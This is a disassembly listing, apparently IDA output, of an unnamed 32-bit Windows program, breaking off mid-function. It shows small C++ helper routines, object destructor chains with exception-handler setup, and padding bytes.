mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401357
mov eax, esi
pop esi
retn 4
sub_416090 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4160C0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4018B6
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4160C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4160F0 proc near ; CODE XREF: sub_401EA6j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4160F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416120 proc near ; CODE XREF: sub_401CFDj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4012CB
mov edi, eax
push edi
call sub_4017D5
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401DA2
push edi
mov ebx, eax
call sub_4017D5
push edi
mov [eax], ebx
call sub_4017D5
mov edi, [eax]
push edi
call sub_4017D5
mov ecx, [eax]
push ecx
call sub_401BB8
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4017DA
add esp, 4
mov ecx, esi
push eax
call sub_401DFC
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401D66
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_416120 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4161C0 proc near ; CODE XREF: sub_401078j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401EA1
mov ecx, eax
call sub_4012CB
mov esi, eax
push esi
call sub_401BB8
push esi
mov ebx, eax
call sub_4017D5
mov ecx, [eax]
push ecx
call sub_401BB8
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4017D5
push esi
mov ebx, eax
call sub_401BB8
mov eax, [eax]
push eax
call sub_4017D5
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4017DA
add esp, 1Ch
mov ecx, edi
push eax
call sub_4013F7
push esi
mov ecx, edi
call sub_401EF6
sub_4161C0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416280 proc near ; CODE XREF: sub_401401j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jz short loc_4162DA
loc_416298: ; CODE XREF: sub_416280+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401EA1
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jnz short loc_416298
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4162DA: ; CODE XREF: sub_416280+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416310 proc near ; CODE XREF: sub_401DA2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401E9C
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_416325
mov edi, esi
loc_416325: ; CODE XREF: sub_416310+11j
push esi
call sub_401BB8
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_41633A
mov edi, esi
loc_41633A: ; CODE XREF: sub_416310+26j
push esi
call sub_4017D5
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_416310 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416360 proc near ; CODE XREF: sub_401EF6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401857
sub_416360 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416380 proc near ; CODE XREF: sub_401BB8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163A0 proc near ; CODE XREF: sub_4017DAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4163A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163C0 proc near ; CODE XREF: sub_401E29j
mov eax, ecx
retn
sub_4163C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163E0 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40160E
mov eax, esi
pop esi
retn 4
sub_4163E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416410 proc near ; CODE XREF: sub_401EA1j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40118B
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_416410 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416440 proc near ; CODE XREF: sub_40144Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_416440 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416470 proc near ; CODE XREF: sub_401104j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_416470 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416490 proc near ; CODE XREF: sub_4020D6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
add esp, 8
retn 4
sub_416490 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4164C0 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_4164C0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164E0 proc near ; CODE XREF: sub_402194j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40125D
add esp, 8
retn 8
sub_4164E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416510 proc near ; CODE XREF: sub_4014F6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_416510 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416530 proc near ; CODE XREF: sub_401753j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_416530 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416550 proc near ; CODE XREF: sub_401A4Bj
mov eax, [ecx]
push eax
call sub_401EFB
add esp, 4
retn
sub_416550 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416570 proc near ; CODE XREF: sub_4020EFj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40208B
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_416570 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165A0 proc near ; CODE XREF: sub_401CA8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E56
neg al
sbb eax, eax
inc eax
retn 4
sub_4165A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165D0 proc near ; CODE XREF: sub_401C4Ej
mov eax, [ecx]
retn
sub_4165D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165F0 proc near ; CODE XREF: sub_401163j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4165F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416610 proc near ; CODE XREF: sub_4015A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
add esp, 8
retn 4
sub_416610 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416640 proc near ; CODE XREF: sub_4010D7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_416640 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416660 proc near ; CODE XREF: sub_4015E6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_402040
add esp, 8
retn 8
sub_416660 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416690 proc near ; CODE XREF: sub_401D4Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_416690 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166B0 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4166B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_401F6Ej
mov eax, [ecx]
retn
sub_4166D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166F0 proc near ; CODE XREF: sub_4017D5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4166F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416710 proc near ; CODE XREF: sub_401E9Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
add esp, 8
retn 4
sub_416710 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416740 proc near ; CODE XREF: sub_401857j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_416740 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416760 proc near ; CODE XREF: sub_401DFCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4020CC
add esp, 8
retn 8
sub_416760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416790 proc near ; CODE XREF: sub_4013F7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_416790 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167B0 proc near ; CODE XREF: sub_40160Ej
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4167B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167D0 proc near ; CODE XREF: sub_4012CBj
mov eax, [ecx]
retn
sub_4167D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167F0 proc near ; CODE XREF: sub_401E56j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4167F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416820 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41683B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41683B: ; CODE XREF: sub_416820+11j
retn
sub_416820 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416870 proc near ; CODE XREF: sub_402040j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41688B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41688B: ; CODE XREF: sub_416870+11j
retn
sub_416870 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168C0 proc near ; CODE XREF: sub_4020CCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_4168DB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4168DB: ; CODE XREF: sub_4168C0+11j
retn
sub_4168C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447148B9h
dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
dd 447148B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_416990: ; CODE XREF: ___:00401C44j
push 0FFFFFFFFh
push offset loc_439FE1
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+9FD83h]
mov dword ptr [esp+10h], 1Ah
call sub_4021DA
; ---------------------------------------------------------------------------
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+10h], 19h
call sub_401226
lea ecx, [esi+9FD57h]
mov byte ptr [esp+10h], 18h
call sub_401226
lea ecx, [esi+9FD42h]
mov byte ptr [esp+10h], 17h
call sub_401226
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+10h], 16h
call sub_401226
lea ecx, [esi+9FC42h]
mov byte ptr [esp+10h], 15h
call sub_401EE2
lea ecx, [esi+9FC31h]
mov byte ptr [esp+10h], 14h
call sub_40176C
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+10h], 13h
call sub_401FF5
lea ecx, [esi+9FBCDh]
mov byte ptr [esp+10h], 12h
call sub_401DED
lea ecx, [esi+9FB93h]
mov byte ptr [esp+10h], 11h
call sub_40187A
lea ecx, [esi+9FB05h]
mov byte ptr [esp+10h], 10h
call sub_401113
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+10h], 0Fh
call sub_401F28
lea ecx, [esi+9FA73h]
mov byte ptr [esp+10h], 0Eh
call sub_401B27
lea ecx, [esi+9FA13h]
mov byte ptr [esp+10h], 0Dh
call sub_4017D0
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+10h], 0Ch
call sub_4018CA
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+10h], 0Bh
call sub_401EB0
lea ecx, [esi+8F285h]
mov byte ptr [esp+10h], 0Ah
call sub_402216
lea ecx, [esi+8F270h]
mov byte ptr [esp+10h], 9
call sub_4017A3
lea ecx, [esi+8F247h]
mov byte ptr [esp+10h], 8
call sub_401A23
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+10h], 7
call sub_4013C0
; ---------------------------------------------------------------------------
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401235
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401E83
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_4014F1
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401AE6
; ---------------------------------------------------------------------------
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401C8F
; ---------------------------------------------------------------------------
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401929
lea ecx, [esi+3Eh]
mov byte ptr [esp+10h], 0
call sub_40143D
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401262
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C00 proc near ; CODE XREF: sub_401A23j
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43E050
test eax, eax
jle short loc_416C17
push eax
nop
call near ptr 71AB9639h
loc_416C17: ; CODE XREF: sub_416C00+Ej
mov ecx, esi
call sub_402031
pop esi
retn
sub_416C00 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A23
test [esp+4+arg_0], 1
jz short loc_416C48
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416C48: ; CODE XREF: sub_416C30+Dj
mov eax, esi
pop esi
retn 4
sub_416C30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C60 proc near ; CODE XREF: sub_4017A3j
push esi
mov esi, ecx
mov eax, [esi+11h]
mov dword ptr [esi], offset off_43E05C
test eax, eax
jle short loc_416C77
push eax
nop
call near ptr 71AB9639h
loc_416C77: ; CODE XREF: sub_416C60+Ej
mov ecx, esi
call sub_402031
pop esi
retn
sub_416C60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416C90: ; CODE XREF: ___:00401627j
; ___:loc_401C99j
push esi
mov esi, ecx
call sub_4017A3
test byte ptr [esp+8], 1
jz short loc_416CA8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416CA8: ; CODE XREF: ___:00416C9Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416CC0 proc near ; CODE XREF: sub_40176Cj
mov dword ptr [ecx], offset off_43E068
jmp sub_402031
sub_416CC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416CE0: ; CODE XREF: ___:loc_40191Aj
; ___:0040218Aj
push esi
mov esi, ecx
call sub_40176C
test byte ptr [esp+8], 1
jz short loc_416CF8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416CF8: ; CODE XREF: ___:00416CEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D10 proc near ; CODE XREF: sub_40187Aj
mov dword ptr [ecx], offset off_43E074
add ecx, 4
jmp sub_401023
sub_416D10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416D30: ; CODE XREF: ___:00401E42j
push 0FFFFFFFFh
push offset loc_43A1C1
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_40209F
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_4015DC
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_40129E
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_401FFA
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_4019F1
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_40157D
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_401645
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_401776
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+14h], 7
call sub_401695
lea ecx, [esi+8F247h]
mov byte ptr [esp+14h], 8
call sub_401820
lea ecx, [esi+8F270h]
mov byte ptr [esp+14h], 9
call sub_4016B3
lea ecx, [esi+8F285h]
mov byte ptr [esp+14h], 0Ah
call sub_401415
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+14h], 0Bh
call sub_401302
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+14h], 0Ch
call sub_401271
lea ecx, [esi+8F51Fh]
mov byte ptr [esp+14h], 0Dh
call sub_401D11
lea ecx, [esi+9FA13h]
call sub_4012FD
lea ecx, [esi+9FA73h]
mov byte ptr [esp+14h], 0Eh
call sub_401A7D
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+14h], 0Fh
call sub_401285
lea ecx, [esi+9FB05h]
mov byte ptr [esp+14h], 10h
call sub_401CA3
lea ecx, [esi+9FB93h]
mov byte ptr [esp+14h], 11h
call sub_402103
mov byte ptr [esp+14h], 12h
lea ecx, [esi+9FBCDh]
call sub_401573
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+14h], 13h
call sub_40178F
lea ecx, [esi+9FC31h]
mov byte ptr [esp+14h], 14h
call sub_401069
lea ecx, [esi+9FC42h]
mov byte ptr [esp+14h], 15h
call sub_401073
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+14h], 16h
call sub_401424
lea ecx, [esi+9FD42h]
mov byte ptr [esp+14h], 17h
call sub_401424
lea ecx, [esi+9FD57h]
mov byte ptr [esp+14h], 18h
call sub_401424
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+14h], 19h
call sub_401424
lea eax, [esp+7]
lea ecx, [esi+9FD83h]
push eax
mov byte ptr [esp+18h], 1Ah
call sub_401AFA
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416FB0 proc near ; CODE XREF: sub_401262j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_416FB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401B09
sub_416FB0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417020 proc near ; CODE XREF: sub_401929j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417020
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
call sub_40206D
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_40206D
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_40206D
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_40206D
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_40206D
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_401AD2
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_401AD2
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_401AD2
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_401AD2
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_401AD2
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_401AD2
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_401AD2
lea ecx, [esi+929h]
